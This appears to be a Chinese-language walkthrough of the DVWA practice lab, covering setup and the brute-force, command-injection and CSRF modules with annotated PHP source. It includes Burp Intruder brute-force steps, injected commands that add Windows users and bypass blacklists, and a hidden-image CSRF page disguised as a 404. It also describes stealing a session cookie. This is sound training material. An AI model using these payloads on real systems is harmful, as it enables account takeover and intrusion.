搭建

使用phpstudy

放入根目录下

C:\phpstudy\PHPTutorial\WWW

修改两个配置文件

C:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

magic_quotes_gpc = Off

alLow_url_fopen = on

alLow_url_include = on

C:\phpstudy\PHPTutorial\WWW\DVWA\config\config.inc.php

本来应该是个备份,改吧改吧后缀

拷贝进去

$_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;

$_DVWA[ ‘db_database’ ] = ‘dvwa’;

$_DVWA[ ‘db_user’ ] = ‘root’;

$_DVWA[ ‘db_password’ ] = ‘root’;

# Only used with PostgreSQL/PGSQL database selection.

$_DVWA[ 'db_port '] = ‘5432’;

# ReCAPTCHA settings

# Used for the ‘Insecure CAPTCHA’ module

# You’ll need to generate your own keys at: https://www.google.com/recaptcha/admin

$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;

$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

万事俱备可以启动了

访问

http://192.168.31.155/DVWA

使用

admin

password

点击,然后就可以开始了

修改

Brute Force(爆破)

Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。

一般都会出现在登录页面,不过可以利用爆破,去列出文件包含的变量名等

进去主题

源码分析-Low

<?php
//检查变量是否设置(先看有没有Login参数)
if( isset( $_GET[ 'Login' ] ) ) {
//获取密码,存入pass变量中$user = $_GET[ 'username' ];
//获取密码$pass = $_GET[ 'password' ];
//将密码使用md5加密$pass = md5( $pass );
//构建SQL语句,查询结果保存在query变量中$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//数据库查询,将查询结果保存在result变量中,查到了,保存用户具体信息;未查到,就在页面上输入错误结果,result为空$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//结果存在并且返回一条记录,说明查到了if( $result && mysqli_num_rows( $result ) == 1 ) {
//查询结果关联数据row,row已经变成键值对$row    = mysqli_fetch_assoc( $result );
//获取登录成功图片$avatar = $row["avatar"];// Login successful
//登录成功,输出到页面上echo "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failed
//未查到,错误信息输出到页面上echo "<pre><br />Username and/or password incorrect.</pre>";}
//释放资源((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Low

既然没有做任何身份校验,那就先抓包重放几次看看,抓点击Login后的包

仔细观察抓包结果,参数在URL传递,并且密码明文,没有验证码机制,点击了N次Go,依旧返回200,没有锁定,所以存在爆破

创建字典

黑盒测试或者真实场景的攻击都需要一本非常强大的字典(社工)

使用爆破模块,清除变量

Burp suite攻击类型:

第一种:

Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。

第二种:

Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中

第三种:

Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量

第四种:

Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

sniper 一个字典,两个参数,先匹配第一项再匹配第二项

Battering ram  一个字典,两个参数,同用户名同密码

Pitchfork   一个字典,两个参数,同行匹配,短的截至

Cluster bomb 两个字典,两个参数,交叉匹配,所有可能

添加密码变量

跑字典

attack!

结果按照长度排序,一眼就发现最靓的那个仔

源码分析- Medium

<?php
//是否存在Login变量(标签里面的name),检查是否存在Login按钮
if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input
//获取用户名,存入user变量里$user = $_GET[ 'username' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];
//pass中x00,n,r,,’,”,x1a转义,防SQL注入$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//密码加密$pass = md5( $pass );// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( 2 );echo "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程- Medium

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(sleep(2)实在算不上)。

使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,这里就不赘述了。

源码分析- High

<?phpif( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time       = 15;$account_locked     = false;// Check the database (Check user information)
//如果在锁定状态就输出已被锁定$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {// User locked out.  Note, using this method would alLow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be alLowed to login again
//计算用户能再次登录的时间$last_login = strtotime( $row[ 'last_login' ] );$timeout    = $last_login + ($lockout_time * 60);$timenow    = time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar       = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login   = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>

Buri suite Recursive Grep+pitchfock

对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。

选择攻击模式为pitchfock,并且给要破解的token项带上美元符号

选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)

Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取

Redirections模块设置允许重定向,选择always

点击payload的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中

开始爆破

复现过程- High

抓包,发现有token

使用intruder,将密码和token作为变量,同时攻击模式使用Pitchfork

选择options将线程数设置为1

找到Grep-Extract模块进行相应设置

点击1Options->2Add->3刷新->4复制token(15d04f32fcfc91d08447c4cbcc3f3867)-> 56由空白出现内容->7OK

找到Redirections模块设置允许重定向,选择always

点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。

将payloads1导入字典后就开始攻击吧

一枝独秀

源码分析- Impossible

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF token
//注册tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_GET[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_GET[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Check database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row    = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedsleep( rand( 0, 3 ) );echo "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

账户锁定机制,防止爆破

Command Injection(命令注入)

Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

DVWA中就是让输入一个IP地址,然后去ping这个IP地址

源码分析-Low

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input
//获取IP字段$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.
//确定操作系统并执行ping命令
// stristr(string,search,before_search)
//stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配//点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参//数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值//的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函//数将返回search参数第一次出现之前的字符串部分。// php_uname(mode)
//这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包//含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” //r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>

DOS中&&用法

&& Usage:第一条命令 && 第二条命令 [&& 第三条命令…]

当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

复现过程-Low

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

ping自己

输入127.0.0.1

可以通

那么我们就是用&&

127.0.0.1&&net user

127.0.0.1&&net user zzyy 111 /add

127.0.0.1&&net user

127.0.0.1&&net user zzyy /delete

127.0.0.1&&net user

源码分析-Medium

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist
//设置命令黑名单,里面包含&&和;$substitutions = array('&&' => '',';'  => '',);// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>

DOS中&用法

这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

复现过程-Medium

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

输入

127.0.0.1&ipconfig

由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:

127.0.0.1&;&ipconfig

经黑名单过滤后变成

127.0.0.1&&ipconfig

源码分析-High

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// Set blacklist
//设置命令黑名单,里面包含& ;| - $ ( ) \ ' ||$substitutions = array('&'  => '',';'  => '','| ' => '','-'  => '','$'  => '','('  => '',')'  => '','`'  => '','||' => '',);// Remove any of the charactars in the array (blacklist).
//替换成空$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>

DOS中符号总结

l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是

允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里&两边的命令是顺序执行的,从前往后执行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在

l Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

l ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回

错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)

比如:

dir c:\;d:\;e:\;z:\

以上命令相当于

dir c:\

dir d:\

dir e:\

dir f:\

如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。

例:dir c:\;d:\;e:\1.txt

以上命令相当于

dir c:\

dir d:\

dir e:\1.txt

其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。

为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

复现过程-High

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

127.0.0.1|ipconfig

源码分析-Impossible

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$target = $_REQUEST[ 'ip' ];
// stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。$target = stripslashes( $target );// Split the IP into 4 octects
//将具体的IP以.分隔
// explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。$octet = explode( ".", $target );// Check IF each octet is an integer
//检查是否分成了4块,并且每一块是否都为数字
// s_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {// If all 4 octets are int's put the IP back together.$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}else {// Ops. Let the user name theres a mistakeecho '<pre>ERROR: You have entered an invalid IP.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程- Impossible

以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

这个确实已经结合业务场景来进行约束了。

CSRF(跨站请求伪造)

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

那么请问,历史上最早的CSRF是什么?周瑜群英会

DVWA中就是让修改自己密码

源码分析-Low

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input
//获取两个输入框的密码$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?
//查看两次输入的是否一致if( $pass_new == $pass_conf ) {// They do!
//如果一致就直接插入数据库$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Low

我们先随便写两个不一样的密码

抓包发现没有token

构造恶意连接

http://192.168.31.155/DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

只要诱骗用户点击这个恶意链接,就会将在不知情的情况下将密码改为1234

Burpsuite常用检测CSRF方法

抓包,使用BP的PoC

在浏览器中测试,BP会自动创建一个站点

复制URL在浏览器中访问

访问该URL后,点击提交按钮

出现密码修改了,我传的是空密码,直接就改成空的了,说明存在CSRF

再回到刚刚的复现过程,刚刚说到我们需要

构造恶意连接

http://192.168.31.155/DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

现在的用户安全意识都在慢慢变强,试问哪个用户看到这个URL会去点?怕是小学生都不一定会去点,所以往往会构建一个黑客的站点,而这个站点的名称可以叫test.html或者直接就用默认的index.html,给用户个IP访问,直接就中招了

<img src="http://192.168.31.155/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>resource not found.<h2>

开始演示,构造一个站点,我再另一台win7上安装了phpstudy,启动

访问这台机器的IP

192.168.31.103

访问IP默认会打开index.php。那么就意味着,我把index里面的内容换成上述的代码,并且诱导用户浏览器访问这个IP就可以达到我不可告人的目的

重启phpstudy

用户访问192.168.31.103后密码就改为hack了

显示的是404,而密码已经被更改

HTTP请求源

这个的核心是http请求里面的referer

简单来一波分析,在Low,用户在正常修改密码时,用户的http请求为

可以看到referer字段的值是服务器的源,或者说referer是Host字段下

再看一眼恶意链接的http请求,貌似不太一样了吧

源码分析-Medium

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

复现过程-Medium

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.31.155),希望通过这种机制抵御CSRF攻击。

其实意思是这个referer中只要出现Host就可以正常操作

恶意网站中是这样的,显然是不成立的

Host 192.168.31.155

Referer http://192.168.31.103/

如果是这样的呢

Host 192.168.31.155

Referer http://192.168.31.103/192.168.31.155.php

从技术上就可以绕过了,但是新构造的这个192.168.31.155.php,很容易被发现,只有进行URL转码了

先创建恶意站点

对URL进行转码

http://192.168.31.103/192.168.31.155.php

http://192.168.31.103/%31%39%32%2e%31%36%38%2e%33%31%2e%31%35%35%2e%70%68%70

诱导用户点击修改密码,看能否改成aaaa

源码分析-High

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF token
//可以看到加入了token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-High

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

客户端访问修改密码页面->服务器发一个token->用户修改参数的请求中加入了token参数->服务器验证token->成功修改

相当于把流程修改了,token的生成是随机的

构建这个恶意链接就不可取了因为token是随机的无法伪造

http://192.168.31.155/DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change

看一下现在的请求

构建恶意站点

//加载attack函数//将密码修改为password

当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

这里需要分析一波

Medium和High的对比

客户端访问攻击页面->攻击页面将密码作为参数直接提交到修改密码页面

客户端访问攻击页面->攻击页面获取修改密码页面的token->将token和密码作为参数一起提交

问题在这一步上

攻击页面获取修改密码页面的token

这一步属于跨域请求,浏览器已经禁止这么做了,所以想要完整这个操作,有两个思路:

第一, 将该js上传到服务器的目录下,这样就是同一个域了,不过如果可以这样,为啥不放木马呢?

第二, 利用xss,xss可以执行代码,获取token

xss更现实一点,但是也得需要该网站存在xss,所以单纯从这个修改密码页面,无法突破High漏洞

这里演示xss窃取cookie

输入

复制

security=Low; PHPSESSID=9erk2ilcjp4o780rajim3rsth5

再次抓包修改cookie

替换cookie

源码分析-Impossible

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input
//输入原来的密码$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 